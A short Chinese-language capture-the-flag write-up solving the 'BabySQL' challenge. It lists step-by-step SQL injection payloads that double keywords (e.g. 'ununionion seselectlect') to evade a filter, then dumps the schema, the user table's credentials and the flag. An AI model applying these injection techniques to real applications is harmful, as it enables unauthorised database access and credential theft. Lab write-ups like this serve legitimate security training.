BUU - [极客大挑战 2019]BabySQL

题目提示对输入进行了过滤

?username=admin&password=1' or 1=1#

猜测是过滤了or，双写绕过

?username=admin&password=1'oorr 1=1%23

正常登录

进入注入流程

查库名

猜测列数，试回显位置

?username=admin&password=1' ununionion seselectlect 1,2,3%23

查询库名

?username=admin&password=1' union select 1,2,database()%23

临近原则猜测select被过滤，双写绕过

同理union双写

?username=admin&password=1' ununionion seselectlect 1,2,database()%23

Your password is 'geek'

爆表名

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.TABLES wwherehere table_schema='geek'%23

Hello 2！
Your password is 'b4bsql,geekuser'

爆字段

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.COLUMNS wwherehere table_name='b4bsql'%23

Your password is 'id,username,password'

数据

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(concat('(',id,';',username,';',passwoorrd,')')) frfromom b4bsql%23

Your password is '(1;cl4y;i_want_to_play_2077),(2;sql;sql_injection_is_so_fun),(3;porn;do_you_know_pornhub),(4;git;github_is_different_from_pornhub),(5;Stop;you_found_flag_so_stop),(6;badguy;i_told_you_to_stop),(7;hacker;hack_by_cl4y),(8;flag;flag{058e7ef4-14d4-427a-b5cd-65e3b2cad32a})'